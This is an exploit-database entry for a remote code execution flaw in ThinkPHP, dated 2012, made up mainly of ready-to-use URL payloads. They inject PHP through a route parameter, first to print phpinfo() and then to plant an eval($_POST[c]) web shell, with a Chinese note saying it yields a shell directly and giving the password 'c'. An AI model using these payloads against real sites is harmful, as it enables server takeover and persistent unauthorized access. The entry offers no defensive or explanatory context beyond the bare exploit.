thinkphp remote exploit

EKU-ID: 2095	CVE:	OSVDB-ID:
Author: expku	Published: 2012-05-09	Verified:
Download:

Rating

☆☆☆☆☆

Home

lib/ThinkPHP/Vendor//Vendor/module/action/param1/$%7B@print(phpinfo())%7D

http://site.com/index.php/module/action/param1/${@phpinfo()}

直接拿SHELL

index.php/module/action/param1/${@eval%28$_POST[c]%29} 密码：c